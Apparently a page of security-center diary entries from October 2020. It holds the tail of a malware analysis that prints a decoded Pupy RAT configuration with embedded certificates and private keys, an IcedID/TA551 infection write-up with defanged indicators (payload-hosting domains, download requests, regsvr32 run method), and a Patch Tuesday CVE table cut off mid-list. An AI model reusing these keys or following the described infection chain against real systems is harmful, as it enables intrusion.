The most interesting data that deserves some deeper check is the 'config' object. Let's have a look at it by executing the code related to it and we find this:

$ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import marshal
>>> config = marshal.loads(b'...')
>>> print(config)

Here is the extracted config (beautified):

    'launcher_args': [
        b'-t', b'ssl'
    'cid': 2438748468, 
    'launcher': b'connect', 
    'delays': [(10, 5, 10), (50, 30, 50), (-1, 150, 300)], 
    'debug': False, 
    'credentials': {
b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBAzANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKbEtJV2pYaGlvZjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEArKNBMZbKTBVkPfhR94lVAVYuv8kzB3HYkZF0PZjI7Cad\nr+9rQ1Q3bQxEQ7Z4NztLysbMzEBRGTDMdQGrRbFH/A4zgaSznIH2+ftInjYUEoXO\ntpZF8j5G2qR26VqTBYbhYagDFQM9s/E5X7Fm94QvACBgBQySZTYBQKCpKESir4dx\n7hkfRZgrjBV9YLPFGFqd1IX1k/0JyYMtnCnP5kBjM8/Q6hDgdV7TEs7CmahpL+rl\nY3ijIo9m1B5nlhb1ug7+w9/YdHfclGjQ2dmi0/ndp66aMlQHhjzDnNlwdsJ77+zx\n4aWdN2vY4afdeHs1VoARvnN5UCL7R1TaI16QUlhKSwIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBDKYoYigHC5cKWx42XCjDkSMAsGA1UdDwQEAwIFIDARBglg\nhkgBhvhCAQEEBAMCBkAwDQYJKoZIhvcNAQELBQADggEBACwNdBricTnwLcnbFdmE\npyl+01dOahdQj0cNXQ9LvJIVrr07x+81V7513TZ6qxUfgihR69Kf6iYbp0vtoixu\n0wH9cT9tLyDhXopgZXiGna/zITtlUXAvkIzaDTEJ3t4FALX+BoQU8Skx4Y2OLpi/\nfY/ku4/QRaxOELHMmkljbhrixTHnJHgxWvfnXPr2icvxCHsL9r1gK8ze+ZfyjDVe\nbidYgLzthrXiCvNTW1PiiUW7WHeGQjp7O87vZpUOCZ2hVGZtI5svGjBqgqRCyLM2\nvaXyvL6RSRlIayZea2mbJFb5ZhzvpNroiBAa72r1rOgRZRqA8k4cvo1JH3xBIcGo\npN4=\n
-----END CERTIFICATE-----\n', 
b'-----BEGIN CERTIFICATE-----\nMIIC0DCCAbigAwIBAwIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIxMTAxMjE0MTM1OFowFTETMBEGA1UE\nCgwKSWJIblRXbmhjRTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALH+\n52uAbcc8nIOpHbzmoG+lbXLBeU75OYr8JhZSZIw+m18QvsZ8ACBGeAwXbv5AvYGR\nVvECtDYTkgRaQzIAaZvo0C8kqj43sAkyUWcf0kuVLOkbYlG9NMDDkyVL6BmIQpvy\n8+ohLk2CfFoKGC0oJH3lK037WMqki+hi2a8iSVaSu/c23WeKhN8mRMDPRAfwPqca\nBRl4U+ezr+Y32ayQF1N5zlVbWEOv6NZ9WTIt9qRnHpXLKsQPvJB/EP/BbSPnJcdB\n/DTgYkXHhJL1FVQUj4CblbVI2wuR/2bbVIJjM3srNFvuuLdPhE6+x+fFu2Q3u7d0\nbH2BFQg0Jut25ZGMNqcCAwEAAaMrMCkwDAYDVR0TBAUwAwEB/zAZBgNVHQ4EEgQQ\nLw2jfzazhJBAvVC+mBylPzANBgkqhkiG9w0BAQsFAAOCAQEApeMeRldhXgR+Ny2Q\nnHyI+qaubO+fdJ5gJaPZ5XprSFAI1Opwzq2BPQ+99w0ej9TlTa3l6IZ73zUU4cc/\n4PFzMVbJKP0AQs3PAqA4z+o6YOwaw7wlGUq4pY/LHvyDY0mxGRW9+aptJkxMGGj3\njJpwoxmPWFm6hrwgIGgrkzlJmo23TMCxvNKMwsx8MZMQLbcCMcZ+nxnBugF1025p\nUy+pgGXErRhiZ0tLpmnfQIbL9vUsCeJAh9F/+1DxaHQIyEiOsvZUiHXIw8LERx9P\nEVf4RpdTe4EX1eAO5LnnsQpK6vqii0T0NUoVjCEGwcvfC5xTWlnbvlYi2T3uGim8\nsVCBqw==\n
-----END CERTIFICATE-----\n', 
b'-----BEGIN CERTIFICATE-----\nMIIC/jCCAeagAwIBAwIBBTANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQKDApJYkhu\nVFduaGNFMB4XDTIwMTAxMjE0MTM1OFoXDTIzMTAxMjE0MTM1OFowJjETMBEGA1UE\nCgwKWmdmWlRGZGtTRjEPMA0GA1UECwwGQ0xJRU5UMIIBIjANBgkqhkiG9w0BAQEF\nAAOCAQ8AMIIBCgKCAQEAntdeGhRlWcA7ZwWpnQ5TuWCmEsqliN4LdU4u5c1FCDPX\n8mvRi//NTdNc+jJyZgXC25ep9vTlWYLjvdY63i64/3yunF3VMiOdmFXW+bEfCFmh\neIufwh6R34530fcOvo21olXPsUBqilIGVfqzCiVWtT5SYRUlIMo0CHJdTkg0l4SC\n4UPv+nndYzpQ6iZl9i4jFFMnPuz2DPywYBOAoqz+MjNp7WR03+n92VAqnZ+/C+mo\nBu3WeH0vH56mmxjCkBK/N7mHI64HdC6iw47yzKT/mXx/pf1ZVtWlcmASTA3pLrT4\nHQ5xHTVm2p6c/XzgsTQ8SvV+fcEqcWKG5SUnDEFW0QIDAQABo0gwRjAJBgNVHRME\nAjAAMBkGA1UdDgQSBBBe1ns9ffIR6Z8GqcIP6tyjMAsGA1UdDwQEAwIHgDARBglg\nhkgBhvhCAQEEBAMCB4AwDQYJKoZIhvcNAQELBQADggEBADzXuhwbBWbbsqGlgiwC\n71ci6+d47jszL3cEDwmxmHShCApUmonu2zTB9zdLIdakgctriEBM1ygHTF1ZBvet\nAaVsRZUYAIb8/sqmuBVRsLq7JVTcuOwRKcFsBF6NhP9/MYaXLehR5kJ5d4wtQl01\nD6qPpW21ceqXJ292EhBGatQMgzh84OV7gvSQKMyfW7QblcEqAoTE+1km6QY++/Uh\nfvzSxgABIZnLjDqRtCCLxWBsd9b32xkF33hWKScR7lJwmxLnm44UHiFu2kU/laFi\n3rcxs1892v934bknV0zPTcPqYOGdq5ndNohA0IPEXbtdn3UueoNdaSWiZzW7oTrg\nBaQ=\n
-----END CERTIFICATE-----\n', 
b'-----BEGIN PRIVATE KEY-----\nMIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCso0ExlspMFWQ9\n+FH3iVUBVi6/yTMHcdiRkXQ9mMjsJp2v72tDVDdtDERDtng3O0vKxszMQFEZMMx1\nAatFsUf8DjOBpLOcgfb5+0ieNhQShc62lkXyPkbapHbpWpMFhuFhqAMVAz2z8Tlf\nsWb3hC8AIGAFDJJlNgFAoKkoRKKvh3HuGR9FmCuMFX1gs8UYWp3UhfWT/QnJgy2c\nKc/mQGMzz9DqEOB1XtMSzsKZqGkv6uVjeKMij2bUHmeWFvW6Dv7D39h0d9yUaNDZ\n2aLT+d2nrpoyVAeGPMOc2XB2wnvv7PHhpZ03a9jhp914ezVWgBG+c3lQIvtHVNoj\nXpBSWEpLAgMBAAECggEBAIiwUkQjMlV/cnkmji/CSs3eIPG1KnQwjdrkIfdLa3qf\nMKdGl9Udby0mUz6R0SlaB66sLSdjnVKmspvKEIQD1A0caWeysouu05Amh97MzqPD\n0mH7JbKh4JPpOEWXc2Ui4Hzj/Fy8zjQVQOolmnNL87LT73LP+3Grit5S1tyNS4pS\nFMtQUx0UzsnuHrUmMwH1dRO6DzohmpZR3wTDxxrOuWiqbNKyM2sTJ3xRU1u2zbsT\ny4UEkZp1brI711GmlmFodUli2u1OFHld5IUNEniTX2CXa/+NpfaUYM4OIS8cCYhz\n1Hpbq1FZpephXfhc3oGRBepCX4EAFkiKpHs1dz9dSYECgYEA1gpVnDtWebXRsKbs\nLsXAw5cO7C2oTzSgbH61nbLW17IircwMpxvklxxfwaDorIIwhhYq1qe/2aBBduK4\nEKfaWl9vh4occjqlIF7CvYahku3EeLXPjVqFEWe1ixJsN7fAOOCuVuXIboZsHW8n\nTQzZd/xV5EeK6Leu8l0obmtrY+ECgYEAznseTl9wZV0nCMAcG3y9opWP4xXKzdKa\nDCkX0lb715+xUD5V+MX+AW8c+xX25X0+aO2c8GkOCyqsmBFTMT6c7F+BKFTi658M\ngjMmpVX/wVuP51/qK0/3ozKcEgEoUASaVzsAxzoAhjsH7UIjUV6Ps6mp5Hdaeee/\nBZLLbZuO86sCgYEAtPCjkqEu51Dm5PkXbCrMXAwVF185i0un2k/7ZEbNDCaQ3m9C\nuvn/cicQY/WM/FhKgO+4YyIIMwcgkEn05E+hbQiElgYRKhedhBHXerSXXkgV8R1x\nScOd/iq388stJKT3oJ1/hAJYP+bu+qr+hEo6hQ4R5hr8uOKeyFAsX7v7WsECgYEA\nillkTQ8VuFVaOjq+moxSZAXiiz2mzZI3Nb6y/3TY+fk+TY32/OFs+HkC6holfE8W\n6ieL6Gn7xu+pBZtWKsDRVHAJkoSOJ2JCd1reohmlbGF1YoqZ1LuYKflXKZks8bCj\n2Z7nPpZWk5oqDYcrMvIxRyh/dV2jedsV2x4owCBjAFECgYEAveBznLl2yrQmbe40\net0E4oA2vf67juop4y6WrOgqkoFnmfFoEUF54tAVDKdHcnhzJp3/eko49Evr8agY\ndGcZgkpzKFqZQ56LZ9ltKXATm+I2InjyQC3UXMBdSDpuW3io0Et+7bzaV0xaHA0g\nSxsoi8TK31dV/uBbuM8w0Ub8mJ8=\n
-----END PRIVATE KEY-----\n', 
b'-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCe114aFGVZwDtn\nBamdDlO5YKYSyqWI3gt1Ti7lzUUIM9fya9GL/81N01z6MnJmBcLbl6n29OVZguO9\n1jreLrj/fK6cXdUyI52YVdb5sR8IWaF4i5/CHpHfjnfR9w6+jbWiVc+xQGqKUgZV\n+rMKJVa1PlJhFSUgyjQIcl1OSDSXhILhQ+/6ed1jOlDqJmX2LiMUUyc+7PYM/LBg\nE4CirP4yM2ntZHTf6f3ZUCqdn78L6agG7dZ4fS8fnqabGMKQEr83uYcjrgd0LqLD\njvLMpP+ZfH+l/VlW1aVyYBJMDekutPgdDnEdNWbanpz9fOCxNDxK9X59wSpxYobl\nJScMQVbRAgMBAAECggEAdU+2TiiWGc0hkhrahAYay6SXwvUrgIQNjltpw4rw2vf/\nGymKH42TAVGDL72mQ7cpjKjcfGmuIYfLz16zJ3j2ZKqfAxlB5b/sGp/7H3oy4yXf\nXXoxSVrufV9pGwcOOqnKZdReihh7FyExULrRFEMzYLRgfxbwzuDHwR1F0BT/0o5/\nZOYmCMsskaFnC458WqcpU/N11vAolVf6VtWIlCyCJCDZIfricTC/U5t22aR04eO9\nAxq1n9oZ49Nwqnm1H85u8qqedqAF5VFpf7PRVOZMk5DLkgR5bTSIFD08oKoFJWeO\nWSZgz3szNME2fIYD6+1PBVVrJPmtvQ5E1GzJFV6KgQKBgQDPtsRV8wchEZjjnQeF\n+OygDUL19UIaZtYaZY6dsFTYlXlwaNS5tT7ZAlyLz9qEzI9BfcCQ9CnxV+DFth8t\nZgavu2fdH9ETHXz9MJArehaMci1d9Ma2bMpOpheyAkbjbfvueNFlas4olmPI2Zzz\nx7A2K55L/OxvFfFt4cqmhC6W2QKBgQDDxCW8adbMCJw6w8RLnXwNDhU6kr2i+W3P\nSUtwqaVi6KaRXJjui0LfglKmvfhu5z677Z3817FCuHhztT6jcnz0z/5uCplIo4ln\nSNtr1DQKsh4xAUdU3vK3kp1bFZTvsKPyP+w4BQ9xCqFFUPzP0qD7Tuhr0Cw63Iao\nC9Fprpx0uQKBgAyDShiTZ16KnNc5YnajpD2QDvSaLb1BbKxyacD+Gl5hwssOxaHa\nVUrlZYXWo6dUW1zqomsZCl3LmXLPodkuSEDV3U/o1sN8B0eJYWX9GNalGi6KzF24\n+Ab84niKwpJ40bBv/s1JPdocFS7ITTgyU18wCX0yY1vdyomADKEzXUshAoGAOpMA\n23wricb1v9t9a0aGrH1POsRXO2E4SvJaQS5xTsPfutSi6ZT/gFLFGiDzKXPFYIN7\nZwC+iAEcATr0sAD8hF+LeC9xp7tOzHmPNZc7rwuWXwFL74f5xZV3wZ4WfxUyKLSZ\noDVbZm5QzKWrzx7tjeQRRNj3svDy1Wsb0GwvYfkCgYBYmtX19ZiZGGXx8mow3fxB\ntaEm7uIXuFojvaZZKIcbj67Mc0AVIsWeG2PhdbBGuXKNFu9Gkxdjw5OUip8a0Uns\nIWzAKHtVUX9vOG2cAC4eD4G+LgIdHnj46RlD7edppSflAHxibTz/XI/g0bnIFX2s\nGjgAfHPZxjSkzkYgsWMNxg==\n
-----END PRIVATE KEY-----\n'
    'scriptlets': ['']

Unfortunately, the host is an RFC198 IP address. Maybe we could find interesting information in the certificate? Let's have a look:

# openssl x509 -in cert.tmp -text
        Version: Unknown (3)
        Serial Number: 3 (0x3)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = IbHnTWnhcE
            Not Before: Oct 12 14:13:58 2020 GMT
            Not After : Oct 12 14:13:58 2023 GMT
        Subject: O = lKIWjXhiof, OU = CLIENT
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
            X509v3 Subject Key Identifier: 
            X509v3 Key Usage: 
                Key Encipherment
            Netscape Cert Type: 
                SSL Server
    Signature Algorithm: sha256WithRSAEncryption

Same conclusion, no interesting information here. This is probably an internal test or a red-team exercise but the obfuscation technique used in this sample is interesting... 

[1] https://www.virustotal.com/gui/file/c5c8b428060bcacf2f654d1b4d9d062dfeb98294cad4e12204ee4aa6e2c93a0b/detection
[2] https://docs.python.org/2.0/ref/exec.html
[3] https://docs.python.org/3/library/marshal.html
[4] https://pypi.org/project/uncompyle6/
[5] https://github.com/n1nj4sec/pupy

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-10-14

More TA551 (Shathak) Word docs push IcedID (Bokbot)


The TA551 (Shathak) campaign continues to push IcedID (Bokbot) malware since I last wrote a diary about it in August 2020.  The template for its Word documents has been updated, but otherwise, not much has changed.  This campaign has also targeted non-English speaking targets with other types of malware, but I've only seen English speaking victims with IcedID since mid-July 2020.

Shown above:  Flow chart for TA551 activity since mid-July 2020.

Today's diary reviews an infection from the TA551 campaign on Tuesday 2020-10-13.

Delivery method

TA551 still uses password-protected zip archives attached to emails.  These zip archives contain a Word document with macros designed to infect vulnerable Windows hosts with IcedID.  Malspam from TA551 uses legitimate email chains stolen from mail clients on previously-infected Windows hosts,  These emails attempt to spoof the sender by using a name from the email chain as an alias for the sending address.  Examples from this malspam campaign submitted to VirusTotal usually have some, if not all, of the email chain removed or redacted.

Shown above:  Screenshot from a recent example of TA551 malspam from Tuesday, 2020-10-13.

Passwords for the attached zip archives are different for each email.  Victims use the password from the message text to extract a Word document from the zip attachment.

Shown above:  Using password from the message text to open the zip archive and get to the Word document.

Infection activity

An infection starts when a victim enables macros on a vulnerable Windows host while ignoring any security warnings.

Shown above:  Screenshot of a Word document extracted from one of the password-protected zip archives.

Enabling macros causes a vulnerable Windows host to retrieve a Windows DLL file from a URL ending with .cab.  This DLL is saved to the host and run using regsvr32.exe.  The DLL is an installer for IcedID.

Shown above:  HTTP GET request to URL ending with .cab returned a Windows DLL file.

Shown above:  The DLL is saved to a victim's C:\ProgramData directory with a .txt file extension.

Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on an infected Windows host

After the DLL is run using regsvr32.exe, the victim's Windows host retrieves a PNG image over HTTPS traffic.  This initial PNG is saved to the victim's AppData\Local\Temp directory with a .tmp file extension.  The PNG image has encoded data that the DLL installer uses to create an EXE for IcedID.  This EXE is also saved to the AppData\Local\Temp directory.

Shown above:  PNG and initial IcedID EXE saved to the victim's AppData\Local\Temp directory.

During the infection process, the initial EXE for IcedID generates more HTTPS traffic, and we find another PNG image saved somewhere under the victim's AppData\Local or AppData\Roaming directories.  This second PNG also contains encoded data.

Shown above:  Another PNG image with encoded data created during the infection process.

Finally, we see another EXE for IcedID saved to a new directory and made persistent through a scheduled task.  This persistent EXE is the same size as the first EXE, but it has a different file hash.

Shown above:  EXE for IcedID persistent on the infected Windows host.

Indicators of Compromise (IOCs)

22 examples of SHA256 hashes for TA551 Word docs with macros for IcedID (read: SHA256 hash  file name):

  • d90cac341ea9f377a9a20b2cc2f098956a2b09c1a423a82de9af0fa91f6d777c  bid_010.20.doc
  • f6fcd5702a73bba11f71216e18e452c0a926c61b51a4321314e4cdbebf651bf4  certificate-010.13.20.doc
  • a0224c5fd2cfd0030f9223cc84aef311f7cc320789ca59d4f846dbc383310dce  charge.010.13.20.doc
  • 121451c0538037e6e775f63aa57cd5c071c8e2bf1bda902ab5acbefd99337ebb  command.010.20.doc
  • d220e39e4cfac20fcffdecafc1ccfd321fecd971e51f0df9a4df267c3a662cbe  command_010.20.doc
  • 4cdbcfdd9deec0cd61152f2e9e1ba690640dc0bf3c201a42894abcf37c961546  commerce -010.20.doc
  • 9fa50c60e8dda3f9207e6f5d156df5f9bedd9e1b8a2837861b39245052f27482  decree,010.13.2020.doc
  • 4d0defd5dc6f7691c9b3f06ec2b79694c58f9835e5dec65ad7185957fae44081  details.010.13.2020.doc
  • b81b017a518c71ecc83835f31c3bc9dd9f0fac2bc0fa4f07bd0abff75f507d91  direct-010.20.doc
  • d7eb2833615397fd9c7538c1f31c408e3548d50baaca109f5136b14a424aa1ba  enjoin,010.13.20.doc
  • cf6b55d6cdeee06d03c197eebcdb5e7c9fe8277e5e626426610305192dcf0b00  enjoin_010.13.2020.doc
  • 4dadeaa387616bfc80eb61f521d7a4cb03f6055a64811eaab9c2429723d62823  file 010.13.2020.doc
  • 67e502cc48b587f78ee637cd7f522f2ea6026bbe87921ecd43e0fae11c64f775  instruct-010.20.doc
  • 35fe201a9da94441c3375106dd75c09de9c281b5a1de705448f76ed5a83978ad  instrument indenture-010.13.2020.doc
  • 0d6f7dbd45829aa73f0258440816fdb259599a64df328664ca4714cde5dd4968  intelligence 010.13.2020.doc
  • 6dc7a98930d5541fc9a01f8f71a2c487c51bb8391627a1e16a81d1162c179e80  legal agreement-010.13.2020.doc
  • 2cdbd4ac39b64abd42931d7c23dd5800ca0be0bcd0e871cf0c5e065786437619  official paper-010.20.doc
  • 2d934205d70f10534bb62e059bab4eb2e8732514f7e6874cb9588b2627210594  prescribe .010.20.doc
  • 96f991df625e19fb3957dafe0475035dd5e6d04c7ff7dad819cc33a69bcde1c9  question-010.13.2020.doc
  • 5e3c9cd19c33b048736ccaecf0ebbbab51960cdc5c618970daa6234236c0db01  question.010.20.doc
  • 64567431faf0e14dacab56c8b3d7867e7d6037f1345dc72d67cd1aff208b6ca7  report 010.13.2020.doc
  • 34b84e76d97cf18bb2d69916ee61dbd60481c45c9ac5c7e358e7f428b880859f  rule_010.13.2020.doc

At least 12 domains hosting installer DLL files retreived by Word macros:

  • aqdcyy[.]com - 185.66.14[.]66
  • akfumi[.]com - 193.187.175[.]114
  • ar99xc[.]com - 194.31.237[.]158
  • bn50bmx[.]com - 45.153.75[.]33
  • h4dv4c1w[.]com - 94.250.255[.]189
  • krwrf1[.]com - 78.155.205[.]102
  • mbc8xtc[.]com - 193.201.126[.]251
  • osohc6[.]com - 45.150.64[.]70
  • pdtcgw[.]com - 45.89.67[.]166
  • qczpij[.]com - 194.120.24[.]6
  • t72876p[.]com - 178.250.156[.]128
  • vwofdq[.]com - 80.85.157[.]227

HTTP GET requests for the installer DLL:

  • GET /ryfu/bary.php?l=konu1.cab
  • GET /ryfu/bary.php?l=konu2.cab
  • GET /ryfu/bary.php?l=konu3.cab
  • GET /ryfu/bary.php?l=konu4.cab
  • GET /ryfu/bary.php?l=konu5.cab
  • GET /ryfu/bary.php?l=konu6.cab
  • GET /ryfu/bary.php?l=konu7.cab
  • GET /ryfu/bary.php?l=konu8.cab
  • GET /ryfu/bary.php?l=konu9.cab
  • GET /ryfu/bary.php?l=konu10.cab
  • GET /ryfu/bary.php?l=konu11.cab
  • GET /ryfu/bary.php?l=konu12.cab
  • GET /ryfu/bary.php?l=konu13.cab
  • GET /ryfu/bary.php?l=konu14.cab
  • GET /ryfu/bary.php?l=konu15.cab
  • GET /ryfu/bary.php?l=konu16.cab
  • GET /ryfu/bary.php?l=konu17.cab
  • GET /ryfu/bary.php?l=konu18.cab

25 examples of TA551 installer DLL files for IcedID:

  • aee6295dab6fd012e5bd1ee352317e56bef5789e2e83e7d5cc743161cedd957b
  • 121494579fe7d4be119875fa31aa8b573911a797d528e1819d42373e5380bf18
  • 23e672e1c94cc4dc6af971fc62c0ec84c3bcf38e997acd9bea1bea72d707e46a
  • 2ec72eeec8a8187faae32a8e8ba14bb6b17634f172fe834ccdf5b1f0b5ecda6f
  • 2f5e079f3548f68e0b597b439ac37cfde4d05d2c151a402c4953a777e4c3a5d4
  • 3957edd82568c0a36a640bcf97ac6c2c8a594007702641c9879799ca6173247e
  • 3d34785f2f6c2f6e58e7372104e74ceac405f58427785f654d39136182d7cb5d
  • 435fb59379dcbbc4831926f93196705de81fa9ee6c7e106fe99d4ffd58f8fd28
  • 463a0a1424b898c1965fb52a4a5fa8082014fb39bcdaab4c661989fffcaa0109
  • 53f94437c76cb9b5b4153fc36e38c34cf067cc8bce091505729a3ba507199c74
  • 63d55128088857806534c494ecb3f451354b1601a09ee3485300881c286351b7
  • 75ecd5d9f78fbcc887e9ee5559c4a470eacdbffb248f63a2008ad91dd1d5947f
  • 7bbfd3cdb378e8b5b966dcd76b83f1c4ed9004db4843d4ea4aef3cece3e04a67
  • 8e0aa02ea34b646cef7bd9c2f5092b1bc0c6e287c846c0874bb4332dd210a323
  • 8e342676ea2bb2cee9720ee731351bf380e109b773899ad8bdcdea965885b97d
  • c3c2fc97f5cbcdbf6940294d29d7b20fa587731e0ed34a3df9ffc60c6983cdad
  • c89b21e536599a0cbc96605fd8300c9d4797f67addcc4699f808cb07085c8725
  • cfdf1496a343c26a1d779cef6adf80f716b1334f01d48dfaef9ce4a6dc484020
  • d4da7382398a212b943aa7c18543e2c43d5867171371598e328cc0c3a2c27232
  • dba569d0cd4f2290c6fe272d7320ed5d88c99bf8a9eb5e393fc9063320b7b1de
  • dc3423e1039424f90a5c43e578fbf2761b22dc844d5b00864842d813874b51ec
  • e5294c852f5c8e914f3113446c90860b6273ca8f170652ca999fed8e8f856fa8
  • ecaca9ae95e94dbc976c80721085e6fc8ae36d47e905d784fcc3d178275d9de0
  • f46e785f0c2f4def40c95368853599d405294f52371d11998ab229193353c123
  • f58d50deb7d8017efa4d9a4c772b1c400f1d8f2ad31b7bd8efdaaf6d11d70233

Names/locations of the installer DLL files:

  • C:\ProgramData\adSDv.txt
  • C:\ProgramData\BNogX.txt
  • C:\ProgramData\CCbhU.txt
  • C:\ProgramData\Cxvdv.txt
  • C:\ProgramData\gJUdx.txt
  • C:\ProgramData\kkDXV.txt
  • C:\ProgramData\MNpGJ.txt
  • C:\ProgramData\MrUJO.txt
  • C:\ProgramData\pxNfw.txt
  • C:\ProgramData\qteNy.txt
  • C:\ProgramData\VPPOy.txt
  • C:\ProgramData\VUccN.txt
  • C:\ProgramData\WLOTG.txt
  • C:\ProgramData\xJGCG.txt
  • C:\ProgramData\yPWvE.txt

Run method for installer DLL files:

  • regsvr32.exe [filename]

HTTPS traffic to legitimate domains caused by the installer DLL files:

  • port 443 - www.intel.com
  • port 443 - support.oracle.com
  • port 443 - www.oracle.com
  • port 443 - support.apple.com
  • port 443 - support.microsoft.com
  • port 443 - help.twitter.com

At least 2 different URLs for HTTPS traffic generated by the installer DLL files:

  • 134.209.25[.]122 port 443 - jazzcity[.]top - GET /background.png
  • 161.35.111[.]71 port 443 - ldrpeset[.]casa - GET /background.png

2 examples of SHA256 hashes of IcedID EXEs created by installer DLLs:

  • afd16577794eab427980d06631ccb30b157600b938376cc13cd79afd92b77d0e  (initial)
  • 48c44bfd12f93fdd1c971da0c38fc7ca50d41ca383406290f587c73c27d26f76  (persistent)

HTTPS traffic to malicious domains caused by the above IcedID EXE files:

  • 143.110.176[.]28 - port 443 - minishtab[.]cyou
  • 143.110.176[.]28 - port 443 - novemberdejudge[.]cyou
  • 143.110.176[.]28 - port 443 - xoxofuck[.]cyou
  • 143.110.176[.]28 - port 443 - suddekaster[.]best
  • 143.110.176[.]28 - port 443 - sryvplanrespublican[.]cyou

Final words

A zip archive containing a pcap from today's infection is available here.  All DLL and EXE files from the IOCs have been submitted to the MalwareBazaar Database.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2020-10-13

Microsoft October 2020 Patch Tuesday

This month we got patches for 87 vulnerabilities. Of these, 12 are critical, 6 were previously disclosed and none of them are being exploited according to Microsoft.

Amongst critical vulnerabilities, there is a CVSSv3 9.8 remote code execution in Windows TCP/IP stack (CVE-2020-16898) due to the way it improperly handles ICMPv6 Router Advertisement packets. To exploit this vulnerability, an attacker would have to send specially crafted ICMPv6 Router Advertisement packets to a remote Windows host (client or server). Several Windows 10 versions, Windows Server (core installation), and Windows Server 2019 are affected by this vulnerability. There is a workaround for Windows 1709 and above that consists in disabling ICMPV6 RDNSS. For more details, check the vulnerability advisory at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

There is also a remote code execution in Windows Graphics Device Interface (GDI+) (CVE-2020-16911). An attacker could exploit this vulnerability by convincing users to view a specially crafted website or sending them an e-mail attachment with a malicious attachment. The CVSS v3 score for this vulnerability is 8.8.

A third vulnerability worth mentioning is an elevation of privilege affecting Windows Hyper-V (CVE-2020-1080). If successfully exploited, this vulnerability could give an attacker elevated privileges on the target system. The CVSSv3 for this vulnerability is 8.8 as well.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Information Disclosure Vulnerability
%%cve:2020-16937%% Yes No Less Likely Less Likely Important 4.7 4.2
Azure Functions Elevation of Privilege Vulnerability
%%cve:2020-16904%% No No Less Likely Less Likely Important 5.3 4.8
Base3D Remote Code Execution Vulnerability
%%cve:2020-16918%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-17003%% No No Less Likely Less Likely Critical 7.8 7.0
Dynamics 365 Commerce Elevation of Privilege Vulnerability
%%cve:2020-16943%% No No Less Likely Less Likely Important 6.5 5.9
GDI+ Remote Code Execution Vulnerability
%%cve:2020-16911%% No No Less Likely Less Likely Critical 8.8 7.9
Group Policy Elevation of Privilege Vulnerability
%%cve:2020-16939%% No No Less Likely Less Likely Important 7.8 7.0
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-16924%% No No Less Likely Less Likely Important 7.8 7.0
Media Foundation Memory Corruption Vulnerability
%%cve:2020-16915%% No No Less Likely Less Likely Critical 7.8 7.0
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-16956%% No No Less Likely Less Likely Important 5.4 4.9
%%cve:2020-16978%% No No Less Likely Less Likely Important 5.4 4.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-16929%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16930%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16931%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16932%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Exchange Information Disclosure Vulnerability
%%cve:2020-16969%% No No Less Likely Less Likely Important 7.1 6.4
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-16923%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1167%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2020-16957%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office Click-to-Run Elevation of Privilege Vulnerability
%%cve:2020-16928%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16934%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2020-16955%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-16954%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-16945%% No No Less Likely Less Likely Important 8.7 7.8
%%cve:2020-16946%% No No Less Likely Less Likely Important 8.7 7.8
Microsoft Outlook Denial of Service Vulnerability
%%cve:2020-16949%% No No Less Likely Less Likely Moderate 4.7 4.2
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2020-16947%% No No Less Likely Less Likely Critical 8.1 7.3
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-16941%% No No Less Likely Less Likely Important 4.1 3.7
%%cve:2020-16942%% No No Less Likely Less Likely Important 4.1 3.7
%%cve:2020-16948%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2020-16953%% No No Less Likely Less Likely Important 6.5 5.9
%%cve:2020-16950%% No No Less Likely Less Likely Important 5.0 4.5
Microsoft SharePoint Reflective XSS Vulnerability
%%cve:2020-16944%% No No Less Likely Less Likely Important 8.7 7.8
Microsoft SharePoint Remote Code Execution Vulnerability
